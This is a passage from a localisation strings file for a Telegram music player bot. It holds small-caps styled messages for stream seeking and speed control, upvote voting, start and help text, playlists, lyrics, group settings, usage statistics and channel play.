ᴏɴ...\"\nadmin_25 : \"» sᴛʀᴇᴀᴍ sᴜᴄᴄᴇssғᴜʟʟʏ sᴇᴇᴋᴇᴅ.\\n\\n<b>ᴅᴜʀᴀᴛɪᴏɴ :</b> {0} ᴍɪɴᴜᴛᴇs\\n<b>ʙʏ :</b> {1}\"\nadmin_26 : \"ғᴀɪʟᴇᴅ ᴛᴏ sᴇᴇᴋ.\"\nadmin_27 : \"» ᴏɴʟʏ ʏᴏᴜᴛᴜʙᴇ sᴛʀᴇᴀᴍ's sᴘᴇᴇᴅ ᴄᴀɴ ʙᴇ ᴄᴏɴᴛʀᴏʟʟᴇᴅ ᴄᴜʀʀᴇɴᴛʟʏ.\"\nadmin_28 : \"<b><u>{0} sᴘᴇᴇᴅ ᴄᴏɴᴛʀᴏʟ ᴘᴀɴᴇʟ</b></u>\\n\\nᴄʟɪᴄᴋ ᴏɴ ᴛʜᴇ ʙᴜᴛᴛᴏɴs ʙᴇʟᴏᴡ ᴛᴏ ᴄʜᴀɴɢᴇ ᴛʜᴇ sᴘᴇᴇᴅ ᴏғ ᴄᴜʀʀᴇɴᴛʟʏ ᴘʟᴀʏɪɴɢ sᴛʀᴇᴀᴍ ᴏɴ ᴠɪᴅᴇᴏᴄʜᴀᴛ.\"\nadmin_29 : \"» ʙᴏᴛ ɪs ᴀʟʀᴇᴀᴅʏ ᴘʟᴀʏɪɴɢ ᴏɴ ɴᴏʀᴍᴀʟ sᴘᴇᴇᴅ.\"\nadmin_30 : \"» ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ...\\n\\nsᴏᴍᴇᴏɴᴇ ᴇʟsᴇ ɪs ᴛʀʏɪɴɢ ᴛᴏ ᴄʜᴀɴɢᴇ ᴛʜᴇ sᴘᴇᴇᴅ ᴏғ ᴛʜᴇ sᴛʀᴇᴀᴍ.\"\nadmin_31 : \"ᴄʜᴀɴɢɪɴɢ sᴘᴇᴇᴅ...\"\nadmin_32 : \"» ᴛʀʏɪɴɢ ᴛᴏ ᴄʜᴀɴɢᴇ ᴛʜᴇ sᴘᴇᴇᴅ ᴏғ ᴛʜᴇ ᴏɴɢᴏɪɴɢ sᴛʀᴇᴀᴍ...\\n\\n<b>ʀᴇǫᴜᴇsᴛᴇᴅ ʙʏ :</b> {0}\"\nadmin_33 : \"» ғᴀɪʟᴇᴅ ᴛᴏ ᴄʜᴀɴɢᴇ ᴛʜᴇ sᴘᴇᴇᴅ ᴏғ ᴛʜᴇ ᴏɴɢᴏɪɴɢ sᴛʀᴇᴀᴍ.\"\nadmin_34 : \"» ᴄʜᴀɴɢᴇᴅ ᴛʜᴇ sᴘᴇᴇᴅ ᴏғ ᴛʜᴇ ᴏɴɢᴏɪɴɢ sᴛʀᴇᴀᴍ ᴛᴏ {0}x\\n\\n<b>ʀᴇǫᴜᴇsᴛᴇᴅ ʙʏ :</b> {1}\"\nadmin_35 : \"ᴛʜᴇ ᴠᴏᴛɪɴɢ ʜᴀs ᴇɴᴅᴇᴅ ʙᴇᴄᴀᴜsᴇ ᴛʜᴇ ᴛʀᴀᴄᴋ ʜᴀs ᴇɴᴅᴇᴅ ғᴏʀ ᴡʜɪᴄʜ ᴛʜᴇ ᴠᴏᴛɪɴɢ ᴡᴀs ᴘʀᴏᴠɪᴅᴇᴅ.\"\nadmin_36 : \"ғᴀɪʟᴇᴅ ᴛᴏ ᴘᴇʀғᴏʀᴍ ᴛʜɪs ᴀᴄᴛɪᴏɴ ʙᴇᴄᴀᴜsᴇ ғᴏʀ ᴡʜɪᴄʜ ᴛʀᴀᴄᴋ ᴛʜᴇ ᴠᴏᴛɪɴɢ ᴡᴀs ᴘʀᴏᴠɪᴅᴇᴅ ɪs ᴇɪᴛʜᴇʀ ᴇɴᴅᴇᴅ ᴏʀ sᴛᴏᴘᴘᴇᴅ.\"\nadmin_37 : \"sᴜᴄᴄᴇssғᴜʟʟʏ ɢᴏᴛ <code>{0}</code> ᴜᴘᴠᴏᴛᴇs.\"\nadmin_38 : \"» ᴀᴅᴅᴇᴅ 1 ᴜᴘᴠᴏᴛᴇ.\"\nadmin_39 : \"» ʀᴇᴍᴏᴠᴇᴅ 1 ᴜᴘᴠᴏᴛᴇ.\"\nadmin_40 : \"ᴜᴘᴠᴏᴛᴇᴅ.\"\n\nstart_1 : \"{0} ɪs ᴀʟɪᴠᴇ ʙᴀʙʏ.\\n\\n<b>✫ ᴜᴘᴛɪᴍᴇ :</b> {1}\"\nstart_2 : \"<b>нєу</b> {0}, 🥀\\n\\n๏ ᴛʜɪs ɪs {1} !\\n\\n➻ ᴀ ғᴀsᴛ & ᴘᴏᴡᴇʀғᴜʟ ᴛᴇʟᴇɢʀᴀᴍ ᴍᴜsɪᴄ ᴘʟᴀʏᴇʀ ʙᴏᴛ ᴡɪᴛʜ sᴏᴍᴇ ᴀᴡᴇsᴏᴍᴇ ғᴇᴀᴛᴜʀᴇs.\\n\\n──────────────────\\n<b>๏ ᴄʟɪᴄᴋ ᴏɴ ᴛʜᴇ ʜᴇʟᴩ ʙᴜᴛᴛᴏɴ ᴛᴏ ɢᴇᴛ ɪɴғᴏʀᴍᴀᴛɪᴏɴ ᴀʙᴏᴜᴛ ᴍʏ ᴍᴏᴅᴜʟᴇs ᴀɴᴅ ᴄᴏᴍᴍᴀɴᴅs.</b>\"\nstart_3 : \"ʜᴇʏ {0},\\nᴛʜɪs ɪs {1}\\n\\nᴛʜᴀɴᴋs ғᴏʀ ᴀᴅᴅɪɴɢ ᴍᴇ ɪɴ {2}, {3} ᴄᴀɴ ɴᴏᴡ ᴩʟᴀʏ sᴏɴɢs ɪɴ ᴛʜɪs ᴄʜᴀᴛ.\"\nstart_4 : \"🎄 <b>sᴜᴘᴇʀɢʀᴏᴜᴘ ɴᴇᴇᴅᴇᴅ</b> 🎄\\n\\nᴘʟᴇᴀsᴇ ᴄᴏɴᴠᴇʀᴛ ʏᴏᴜʀ <b>ɢʀᴏᴜᴘ</b> ᴛᴏ <b>sᴜᴘᴇʀɢʀᴏᴜᴘ</b> ᴀɴᴅ ᴛʜᴇɴ ᴀᴅᴅ ᴍᴇ ᴀɢᴀɪɴ.\\n\\n<b>ʜᴏᴡ ᴛᴏ ᴍᴀᴋᴇ sᴜᴘᴇʀɢʀᴏᴜᴘ ?</b>\\n- ᴍᴀᴋᴇ ʏᴏᴜʀ ɢʀᴏᴜᴘ's ᴄʜᴀᴛ ʜɪsᴛᴏʀʏ <b>ᴠɪsɪʙʟᴇ</b> ᴏɴᴄᴇ.\"\nstart_5 : \"<b>↝ ʙʟᴀᴄᴋʟɪsᴛᴇᴅ ᴄʜᴀᴛ ↜</b>\\n\\nᴛʜɪs ᴄʜᴀᴛ ɪs ʙʟᴀᴄᴋʟɪsᴛᴇᴅ ᴏɴ {0} ᴅᴀᴛᴀʙᴀsᴇ.\\nʀᴇǫᴜᴇsᴛ ᴀ <a href={1}>sᴜᴅᴏ ᴜsᴇʀ</a> ᴛᴏ ᴜɴʙʟᴀᴄᴋʟɪsᴛ ʏᴏᴜʀ ᴄʜᴀᴛ ᴏʀ ᴠɪsɪᴛ <a href={2}>sᴜᴘᴘᴏʀᴛ ᴄʜᴀᴛ.</a>\"\nstart_6 : \"😲 <b>ᴛʀᴀᴄᴋ ɪɴғᴏʀᴍᴀᴛɪᴏɴ</b> 😲\\n\\n📌 <b>ᴛɪᴛʟᴇ :</b> {0}\\n\\n⏳ <b>ᴅᴜʀᴀᴛɪᴏɴ :</b> {1} ᴍɪɴᴜᴛᴇs\\n👀 <b>ᴠɪᴇᴡs :</b> <code>{2}</code>\\n⏰ <b>ᴩᴜʙʟɪsʜᴇᴅ ᴏɴ :</b> {3}\\n📎 <b>ᴄʜᴀɴɴᴇʟ :</b> <a href={4}>{5}</a>\\n\\n<u><b>🥀 sᴇᴀʀᴄʜ ᴩᴏᴡᴇʀᴇᴅ ʙʏ {6}</b></u>\"\n\nhelp_1 : \"ᴄʜᴏᴏsᴇ ᴛʜᴇ ᴄᴀᴛᴇɢᴏʀʏ ғᴏʀ ᴡʜɪᴄʜ ʏᴏᴜ ᴡᴀɴɴᴀ ɢᴇᴛ ʜᴇʟᴩ.\\nᴀsᴋ ʏᴏᴜʀ ᴅᴏᴜʙᴛs ᴀᴛ <a href={0}>sᴜᴘᴘᴏʀᴛ ᴄʜᴀᴛ</a>\\n\\nᴀʟʟ ᴄᴏᴍᴍᴀɴᴅs ᴄᴀɴ ʙᴇ ᴜsᴇᴅ ᴡɪᴛʜ : <code>/</code>\"\nhelp_2 : \"ᴄʟɪᴄᴋ ᴏɴ ᴛʜᴇ ʙᴜᴛᴛᴏɴ ʙᴇʟᴏᴡ ᴛᴏ ɢᴇᴛ ᴍʏ ʜᴇʟᴘ ᴍᴇɴᴜ ɪɴ ʏᴏᴜʀ ᴘᴍ.\"\n\n#Playlist\nplaylist_1 : \"**ᴜsᴀɢᴇ:** /play [ᴍᴜsɪᴄ ɴᴀᴍᴇ ᴏʀ ʏᴏᴜᴛᴜʙᴇ ʟɪɴᴋ ᴏʀ ʀᴇᴘʟʏ ᴛᴏ ᴀᴜᴅɪᴏ]\\n\\nɪꜰ ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ ᴘʟᴀʏ ʙᴏᴛ's sᴇʀᴠᴇʀ ᴘʟᴀʏʟɪsᴛ ! ᴘʀᴇss ᴛʜᴇ ʙᴜᴛᴛᴏɴ ʙᴇʟᴏᴡ.\"\nplaylist_2 : \"ɢᴇᴛᴛɪɴɢ ʏᴏᴜʀ ᴘʟᴀʏʟɪsᴛ... ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ !\"\nplaylist_3 : \"ʏᴏᴜ ʜᴀᴠᴇ ɴᴏ ᴘʟᴀʏʟɪsᴛ ᴏɴ ʙᴏᴛ's sᴇʀᴠᴇʀ.\"\nplaylist_4 : \"ꜰᴇᴛᴄʜᴇᴅ ᴘʟᴀʏʟɪsᴛ:\\n\\n\"\nplaylist_5 :  \"Duration : {0} Mins...\"\nplaylist_6 : \"ᴄᴏɴᴛᴀᴄᴛ ᴍᴇ ɪɴ ᴘᴍ ꜰᴏʀ ᴅᴇʟᴇᴛɪᴏɴ ᴏꜰ ᴘʟᴀʏʟɪsᴛs.\"\nplaylist_7 : \"ᴛʀᴀᴄᴋs ɪɴsɪᴅᴇ ᴘʟᴀʏʟɪsᴛ: {0}\\n\\nᴘʀᴇss ᴛʜᴇ ʙᴜᴛᴛᴏɴs ᴛᴏ ᴅᴇʟᴇᴛᴇ ᴀ ᴘᴀʀᴛɪᴄᴜʟᴀʀ ᴛʀᴀᴄᴋ ɪɴ ʏᴏᴜʀ ᴘʟᴀʏʟɪsᴛ.\\n\\nᴛᴏ ᴅᴇʟᴇᴛᴇ ᴡʜᴏʟᴇ ᴘʟᴀʏʟɪsᴛ: ᴘʀᴇss ᴅᴇʟ ᴡʜᴏʟᴇ ᴘʟᴀʏʟɪsᴛ ʙᴜᴛᴛᴏɴ.\"\nplaylist_8 : \"ᴀʟʀᴇᴀᴅʏ ᴇxɪsᴛs\\n\\nᴛʜɪs ᴛʀᴀᴄᴋ ᴇxɪsᴛs ɪɴ ʏᴏᴜʀ ᴘʟᴀʏʟɪsᴛ.\"\nplaylist_9 : \"sᴏʀʀʏ ! ʏᴏᴜ ᴄᴀɴ ᴏɴʟʏ ʜᴀᴠᴇ {0} ᴍᴜsɪᴄ ɪɴ ᴀ ᴘʟᴀʏʟɪsᴛ ʙᴀʙʏ.\"\nplaylist_10 : \"ᴘʟᴀʏʟɪsᴛ ᴀᴅᴅɪᴛɪᴏɴ\\n\\n{0}\\nᴀᴅᴅᴇᴅ ᴛᴏ ʏᴏᴜʀ ᴘʟᴀʏʟɪsᴛ.\"\nplaylist_11 : \"sᴜᴄᴄᴇssꜰᴜʟʟʏ ᴅᴇʟᴇᴛᴇᴅ ʏᴏᴜʀ ᴛʀᴀᴄᴋ.\"\nplaylist_12 : \"ꜰᴀɪʟᴇᴅ ᴛᴏ ᴅᴇʟᴇᴛᴇᴅ ʏᴏᴜʀ ᴛʀᴀᴄᴋ.\"\nplaylist_13 : \"ᴅᴇʟᴇᴛᴇᴅ ʏᴏᴜʀ ᴡʜᴏʟᴇ ᴘʟᴀʏʟɪsᴛs ꜰʀᴏᴍ ᴛʜᴇ sᴇʀᴠᴇʀ. \"\nplaylist_14 : \"**ᴀʀᴇ ʏᴏᴜ sᴜʀᴇ ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ ᴅᴇʟᴇᴛᴇ ʏᴏᴜʀ ᴡʜᴏʟᴇ ᴘʟᴀʏʟɪsᴛ ?**\\n\\nʏᴏᴜ'ʟʟ ʟᴏsᴛ ʏᴏᴜʀ ᴘʟᴀʏʟɪsᴛ ᴀɴᴅ ᴛʜɪs ᴄᴀɴ'ᴛ ʙᴇ ʀᴇᴄᴏᴠᴇʀᴇᴅ ʟᴀᴛᴇʀ.\"\nplaylist_15 : \"[ᴄʜᴇᴄᴋᴏᴜᴛ ᴡʜᴏʟᴇ ᴘʟᴀʏʟɪsᴛ]({0})\"\nplaylist_16 : \"Queued Playlist :\"\nplaylist_17 : \"Position -\"\nplaylist_18 : \"ᴀᴅᴅᴇᴅ {0} ᴛʀᴀᴄᴋs ᴛᴏ ᴏ̨ᴜᴇᴜᴇ : [ᴄʜᴇᴄᴋ]({1})\"\n\n\nlang_1 : \"» ᴘʟᴇᴀsᴇ ᴄʜᴏᴏsᴇ ᴛʜᴇ ʟᴀɴɢᴜᴀɢᴇ ᴡʜɪᴄʜ ʏᴏᴜ ᴡᴀɴɴᴀ sᴇᴛ ᴀs ᴛʜɪs ɢʀᴏᴜᴘ's ᴅᴇғᴀᴜʟᴛ ʟᴀɴɢᴜᴀɢᴇ :\"\nlang_2 : \"ʟᴀɴɢᴜᴀɢᴇ ᴄʜᴀɴɢᴇᴅ sᴜᴄᴄᴇssғᴜʟʟʏ.\"\nlang_3 : \"ғᴀɪʟᴇᴅ ᴛᴏ ᴄʜᴀɴɢᴇ ʟᴀɴɢᴜᴀɢᴇ.\"\nlang_4 : \"Yᴏᴜ'ʀᴇ ᴀʟʀᴇᴀᴅʏ ᴏɴ ᴛʜᴇ sᴀᴍᴇ ʟᴀɴɢᴜᴀɢᴇ.\"\n\n#Lyrics\nlyrics_1 : \"**ᴜsᴀɢᴇ:**\\n\\n/lyrics [ ᴍᴜsɪᴄ ɴᴀᴍᴇ]\"\nlyrics_2 : \"sᴇᴀʀᴄʜɪɴɢ ʟʏʀɪᴄs...\"\nlyrics_3 : \"❌ ꜰᴀɪʟᴇᴅ ᴛᴏ ꜰᴇᴛᴄʜ ʟʏʀɪᴄs 😭.\\n\\n💡**ᴛʀɪᴇᴅ sᴇᴀʀᴄʜɪɴɢ ꜰᴏʀ:** {0}\"\nlyrics_4 : \"ᴄʟɪᴄᴋ ᴏɴ ᴛʜᴇ ʙᴜᴛᴛᴏɴ ʙᴇʟᴏᴡ ᴀɴᴅ ɢᴇᴛ sᴇᴀʀᴄʜᴇᴅ ʟʏʀɪᴄs ᴛᴏ ᴀᴠᴏɪᴅ ʟᴏɴɢ sᴘᴀᴍ ᴛʏᴘᴇs ʟʏʀɪᴄs sᴇᴀʀᴄʜ.\"\n\n\nsetting_1 : \"<u><b>{0} sᴇᴛᴛɪɴɢs ᴘᴀɴᴇʟ</b></u>\\n\\n<b>ᴄʜᴀᴛ ɪᴅ :</b> <code>{1}</code>\\n<b>ᴄʜᴀᴛ ᴛɪᴛʟᴇ :</b> {2}\\n\\nᴄʟɪᴄᴋ ᴏɴ ᴛʜᴇ ʙᴜᴛᴛᴏɴs ʙᴇʟᴏᴡ ғᴏʀ ᴄʜᴀɴɢɪɴɢ sᴇᴛᴛɪɴɢs.\"\nsetting_2 : \"» ᴅɪʀᴇᴄᴛ : ᴘʟᴀʏs sᴇᴀʀᴄʜ ǫᴜᴇʀɪᴇs ᴅɪʀᴇᴄᴛʟʏ.\\n\\n» ɪɴʟɪɴᴇ : ʀᴇᴛᴜʀɴs ɪɴʟɪɴᴇ ʙᴜᴛᴛᴏɴs ꜰᴏʀ ᴄʜᴏᴏsɪɴɢ ʙᴇᴛᴡᴇᴇɴ ᴠɪᴅᴇᴏ & ᴀᴜᴅɪᴏ.\"\nsetting_3 : \"» ᴇᴠᴇʀʏᴏɴᴇ : ᴀɴʏᴏɴᴇ ᴄᴀɴ ᴜsᴇ ᴀᴅᴍɪɴ ᴄᴏᴍᴍᴀɴᴅs [sᴋɪᴘ, ᴘᴀᴜsᴇ, ʀᴇsᴜᴍᴇ ᴇᴛᴄ.] ᴘʀᴇsᴇɴᴛ ɪɴ ᴛʜɪs ɢʀᴏᴜᴘ.\\n\\n» ᴀᴅᴍɪɴ ᴏɴʟʏ : ᴏɴʟʏ ᴀᴅᴍɪɴs ᴀɴᴅ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴜsᴇʀs ᴄᴀɴ ᴜsᴇ ᴀᴅᴍɪɴ ᴄᴏᴍᴍᴀɴᴅs.\"\nsetting_4 : \"» ɴᴏ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴜsᴇʀs ꜰᴏᴜɴᴅ.\"\nsetting_5 : \"» ɢʀᴏᴜᴘ : ᴘʟᴀʏs ᴍᴜsɪᴄ ɪɴ ᴛʜᴇ ɢʀᴏᴜᴘ ᴡʜᴇʀᴇ ᴛʜᴇ ᴄᴏᴍᴍᴀɴᴅ ɪs ɢɪᴠᴇɴ.\\n\\n» ᴄʜᴀɴɴᴇʟ : ᴘʟᴀʏs ᴍᴜsɪᴄ ɪɴ ᴛʜᴇ ᴄʜᴀɴɴᴇʟ ʏᴏᴜ ᴡᴀɴᴛ. sᴇᴛ ᴄʜᴀɴɴᴇʟ ɪᴅ ᴠɪᴀ /channelplay\"\nsetting_6 : \"» ᴇᴠᴇʀʏᴏɴᴇ : ᴀɴʏᴏɴᴇ ᴘʀᴇsᴇɴᴛ ɪɴ ᴛʜɪs ɢʀᴏᴜᴘ ᴄᴀɴ ᴘʟᴀʏ ᴍᴜsɪᴄ ʜᴇʀᴇ.\\n\\n» ᴀᴅᴍɪɴ ᴏɴʟʏ: ᴏɴʟʏ ᴀᴅᴍɪɴs ᴄᴀɴ ᴘʟᴀʏ ᴛʜᴇ ᴍᴜsɪᴄ ɪɴ ᴛʜɪs ɢʀᴏᴜᴘ.\"\nsetting_7 : \"» ᴘʟᴇᴀsᴇ ᴅᴇғɪɴᴇ ᴄʜᴀɴɴᴇʟ ɪᴅ ᴠɪᴀ /channelplay\"\nsetting_8 : \"ᴡʜᴇɴ ᴛʜɪs ᴍᴏᴅᴇ ɪs ᴇɴᴀʙʟᴇᴅ, ᴘᴇᴏᴘʟᴇ ᴡɪᴛʜᴏᴜᴛ ᴀᴅᴍɪɴ ʀɪɢʜᴛs ᴄᴀɴ ᴜsᴇ ᴀᴅᴍɪɴ ᴄᴏᴍᴍᴀɴᴅs ᴀғᴛᴇʀ ᴀ ᴄᴇʀᴛᴀɪɴ ᴀᴍᴏᴜɴᴛ ᴏғ ᴠᴏᴛᴇs.\"\nsetting_9 : \"ᴄᴜʀʀᴇɴᴛ ᴜᴘᴠᴏᴛᴇs ʀᴇǫᴜɪʀᴇᴅ ғᴏʀ ᴜsɪɴɢ ᴀᴅᴍɪɴ ᴄᴏᴍᴍᴀɴᴅs ᴀʀᴇ : {0}\"\nsetting_10 : \"ᴠᴏᴛɪɴɢ ᴍᴏᴅᴇ ɪs ᴅɪsᴀʙʟᴇᴅ.\"\nsetting_11 : \"ʟᴏᴡᴇsᴛ ᴜᴘᴠᴏᴛᴇs ᴄᴏᴜɴᴛ ᴄᴀɴ ʙᴇ 2. ʏᴏᴜ ᴄᴀɴ'ᴛ sᴇᴛ ʙᴇʟᴏᴡ 2\"\nsetting_12 : \"ʜɪɢʜᴇsᴛ ᴜᴘᴠᴏᴛᴇs ᴄᴏᴜɴᴛ ᴄᴀɴ ʙᴇ 15. ʏᴏᴜ ᴄᴀɴ'ᴛ sᴇᴛ ᴀʙᴏᴠᴇ 15\"\n\nset_cb_1 : \"ɢᴇᴛᴛɪɴɢ ᴀᴜᴛʜ ᴜsᴇʀs ᴩᴀɴᴇʟ...\"\nset_cb_2 : \"ɢᴇᴛᴛɪɴɢ ᴩʟᴀʏ ᴍᴏᴅᴇ ᴩᴀɴᴇʟ...\"\nset_cb_3 : \"sᴇᴛᴛɪɴɢ ᴜᴩ ᴄʜᴀɴɢᴇs...\"\nset_cb_4 : \"» ғᴇᴛᴄʜɪɴɢ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴜsᴇʀs ʟɪsᴛ...\"\nset_cb_5 : \"» ɢᴇᴛᴛɪɴɢ ʙᴀᴄᴋ...\"\n\ngstats_1 : \"ɢᴇᴛᴛɪɴɢ {0} sᴛᴀᴛs ᴀɴᴅ ɪɴғᴏʀᴍᴀᴛɪᴏɴ...\\n\\nɪᴛ ᴍᴀʏ ᴛᴀᴋᴇ ᴀ ᴡʜɪʟᴇ, ᴘʟᴇᴀsᴇ ʜᴏʟᴅ ᴏɴ...\"\ngstats_2 : \"ᴄʟɪᴄᴋ ᴏɴ ᴛʜᴇ ʙᴜᴛᴛᴏɴs ʙᴇʟᴏᴡ ᴛᴏ ᴄʜᴇᴄᴋ ᴛʜᴇ sᴛᴀᴛs ᴏғ {0}.\"\ngstats_3 : \"<b><u>{0} sᴛᴀᴛs ᴀɴᴅ ɪɴғᴏʀᴍᴀᴛɪᴏɴ :</u></b>\\n\\n<b>ᴀssɪsᴛᴀɴᴛs :</b> <code>{1}</code>\\n<b>ʙʟᴏᴄᴋᴇᴅ :</b> <code>{2}</code>\\n<b>ᴄʜᴀᴛs:</b> <code>{3}</code>\\n<b>ᴜsᴇʀs :</b> <code>{4}</code>\\n<b>ǫᴜᴇʀɪᴇs:</b> <code>{5}</code>\\n<b>ᴍᴏᴅᴜʟᴇs :</b> <code>{6}</code>\\n<b>sᴜᴅᴏᴇʀs :</b> <code>{7}</code>\\n\\n<b>ᴀᴜᴛᴏ ʟᴇᴀᴠɪɴɢ ᴀssɪsᴛᴀɴᴛ :</b> {8}\\n<b>ᴘʟᴀʏ ᴅᴜʀᴀᴛɪᴏɴ ʟɪᴍɪᴛ :</b> {9} ᴍɪɴᴜᴛᴇs\"\ngstats_4 : \"ᴛʜɪs ʙᴜᴛᴛᴏɴ ɪs ᴏɴʟʏ ғᴏʀ sᴜᴅᴏᴇʀs.\"\ngstats_5 : \"<b><u>{0} sᴛᴀᴛs ᴀɴᴅ ɪɴғᴏʀᴍᴀᴛɪᴏɴ :</u></b>\\n\\n<b>ᴍᴏᴅᴜʟᴇs :</b> <code>{1}</code>\\n<b>ᴘʟᴀᴛғᴏʀᴍ :</b> <code>{2}</code>\\n<b>ʀᴀᴍ :</b> <code>{3}</code>\\n<b>ᴘʜʏsɪᴄᴀʟ ᴄᴏʀᴇs :</b> <code>{4}</code>\\n<b>ᴛᴏᴛᴀʟ ᴄᴏʀᴇs :</b> <code>{5}</code>\\n<b>ᴄᴘᴜ ғʀᴇǫᴜᴇɴᴄʏ :</b> <code>{6}</code>\\n\\n<b>ᴘʏᴛʜᴏɴ :</b> <code>{7}</code>\\n<b>ᴘʏʀᴏɢʀᴀᴍ :</b> <code>{8}</code>\\n<b>ᴘʏ-ᴛɢᴄᴀʟʟs :</b> <code>{9}</code>\\n\\n<b>sᴛᴏʀᴀɢᴇ ᴀᴠᴀɪʟᴀʙʟᴇ :</b> <code>{10} ɢɪʙ</code>\\n<b>sᴛᴏʀᴀɢᴇ ᴜsᴇᴅ :</b> <code>{11} ɢɪʙ</code>\\n<b>sᴛᴏʀᴀɢᴇ ʟᴇғᴛ :</b> <code>{12} ɢɪʙ</code>\\n\\n<b>sᴇʀᴠᴇᴅ ᴄʜᴀᴛs :</b> <code>{13}</code>\\n<b>sᴇʀᴠᴇᴅ ᴜsᴇʀs :</b> <code>{14}</code>\\n<b>ʙʟᴏᴄᴋᴇᴅ ᴜsᴇʀs :</b> <code>{15}</code>\\n<b>sᴜᴅᴏ ᴜsᴇʀs :</b> <code>{16}</code>\\n\\n<b>ᴛᴏᴛᴀʟ ᴅʙ sɪᴢᴇ :</b> <code>{17} ᴍʙ</code>\\n<b>ᴛᴏᴛᴀʟ ᴅʙ sᴛᴏʀᴀɢᴇ :</b> <code>{18} ᴍʙ</code>\\n<b>ᴛᴏᴛᴀʟ ᴅʙ ᴄᴏʟʟᴇᴄᴛɪᴏɴs :</b> <code>{19}</code>\\n<b>ᴛᴏᴛᴀʟ ᴅʙ ᴋᴇʏs :</b> <code>{20}</code>\"\n\nplaycb_1 : \"» ᴀᴡᴡ, ᴛʜɪs ɪs ɴᴏᴛ ғᴏʀ ʏᴏᴜ ʙᴀʙʏ.\"\nplaycb_2 : \"» ɢᴇᴛᴛɪɴɢ ɴᴇxᴛ ʀᴇsᴜʟᴛ,\\n\\nᴘʟᴇᴀsᴇ ᴡᴀɪᴛ...\"\n\ncplay_1 : \"» ʏᴏᴜ ᴄᴀɴ ᴘʟᴀʏ ᴍᴜsɪᴄ ɪɴ ᴄʜᴀɴɴᴇʟs ғʀᴏᴍ {0} ᴛᴏ ᴀɴʏ ᴄʜᴀɴɴᴇʟ ᴏʀ ʏᴏᴜʀ ᴄʜᴀᴛ's ʟɪɴᴋᴇᴅ ᴄʜᴀɴɴᴇʟ.\\n\\n<b>ғᴏʀ ʟɪɴᴋᴇᴅ ᴄʜᴀɴɴᴇʟ :</b>\\n<code>/channelplay linked</code>\\n\\n<b>ғᴏʀ ᴀɴʏ ᴏᴛʜᴇʀ ᴄʜᴀɴɴᴇʟ :</b>\\n<code>/channelplay [ᴄʜᴀɴɴᴇʟ ɪᴅ]</code>\"\ncplay_2 : \"» ᴛʜɪs ᴄʜᴀᴛ ᴅᴏɴ'ᴛ ʜᴀᴠᴇ ᴀɴʏ ʟɪɴᴋᴇᴅ ᴄʜᴀɴɴᴇʟ.\"\ncplay_3 : \"» ᴄʜᴀɴɴᴇʟ ᴅᴇғɪɴᴇᴅ ᴛᴏ {0}.\\nᴄʜᴀɴɴᴇʟ ɪᴅ : <code>{1}</code>\"\ncplay_4 : \"» ғᴀɪʟᴇᴅ ᴛᴏ ɢᴇᴛ ᴄʜᴀɴɴᴇʟ.\\n\\nᴍᴀᴋᴇ sᴜʀᴇ ʏᴏᴜ'ᴠᴇ ᴀᴅᴅᴇᴅ ᴛʜᴇ ʙᴏᴛ ɪɴ ʏᴏᴜʀ ᴄʜᴀɴɴᴇʟ ᴀɴᴅ ᴘʀᴏᴍᴏᴛᴇᴅ ᴀs ᴀᴅᴍɪɴ.\"\ncplay_5 : \"ᴏɴʟʏ ᴄʜᴀɴɴᴇʟs ᴀʀᴇ sᴜᴘᴘᴏʀᴛᴇᴅ.\"\ncplay_6 : \"» ʏᴏᴜ ɴᴇᴇᴅ ᴛᴏ ʙᴇ ᴛʜᴇ <b>ᴏᴡɴᴇʀ</b> ᴏғ ᴛʜᴇ ᴄʜᴀɴɴᴇʟ {0} ᴛᴏ ᴄᴏɴɴᴇᴄᴛ ɪᴛ ᴡɪᴛʜ ᴛʜɪs ɢʀᴏᴜᴘ.\\n<b>ᴄʜᴀɴɴᴇʟ's ᴏᴡɴᴇʀ :</b> @{1}\\n\\nᴀʟᴛᴇʀɴᴀᴛɪᴠᴇʟʏ ʏᴏᴜ ᴄᴀɴ ʟɪɴᴋ ʏᴏᴜʀ ɢʀᴏᴜᴘ ᴛᴏ ᴛʜᴀᴛ ᴄʜᴀɴɴᴇʟ ᴀɴᴅ ᴛʜᴇɴ ᴛʀʏ ᴄᴏɴɴɴᴇᴄᴛɪɴɢ ᴡɪᴛʜ <code>/channelplay linked</code>\"\ncplay_7 : \"» ᴄʜᴀɴɴᴇʟ ᴘʟᴀʏ ᴅɪsᴀʙʟᴇᴅ.\"\n\n# Song\nsong_1 : \"ʏᴏᴜ ᴄᴀɴ ᴅᴏᴡɴʟᴏᴀᴅ ᴍᴜsɪᴄ ᴏʀ ᴠɪᴅᴇᴏ ꜰʀᴏᴍ ʏᴏᴜᴛᴜʙᴇ ᴏɴʟʏ ɪɴ ᴘʀɪᴠᴀᴛᴇ ᴄʜᴀᴛ. ᴘʟᴇᴀsᴇ sᴛᴀʀᴛ ᴍᴇ ɪɴ ᴘʀɪᴠᴀᴛᴇ ᴄʜᴀᴛ.\"\nsong_2 : \"**ᴜsᴀɢᴇ:**\\n\\n/song [ᴍᴜsɪᴄ ɴᴀᴍᴇ] ᴏʀ [ʏᴏᴜᴛᴜʙᴇ ʟɪɴᴋ]\"\nsong_3 : \"ʟɪᴠᴇ ʟɪɴᴋ ᴅᴇᴛᴇᴄᴛᴇᴅ. ɪ ᴀᴍ ɴᴏᴛ ᴀʙʟᴇ ᴛᴏ ᴅᴏᴡɴʟᴏᴀᴅ ʟɪᴠᴇ ʏᴏᴜᴛᴜʙᴇ ᴠɪᴅᴇᴏs. \"\nsong_4 : \"📌**ᴛɪᴛʟᴇ**:- {0}\\n\\nsᴇʟᴇᴄᴛ ᴛʜᴇ ᴛʏᴘᴇ ɪɴ ᴡʜɪᴄʜ ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ ᴅᴏᴡɴʟᴏᴀᴅ.\"\nsong_5 : \"ɴᴏᴛ ᴀ ᴠᴀʟɪᴅ ʏᴏᴜᴛᴜʙᴇ ʟɪɴᴋ.\"\nsong_6 : \"ɢᴇᴛᴛɪɴɢ ꜰᴏʀᴍᴀᴛs...\\n\\nᴘʟᴇᴀsᴇ ᴡᴀɪᴛ...\"\nsong_7 : \"ꜰᴀɪʟᴇᴅ ᴛᴏ ɢᴇᴛ 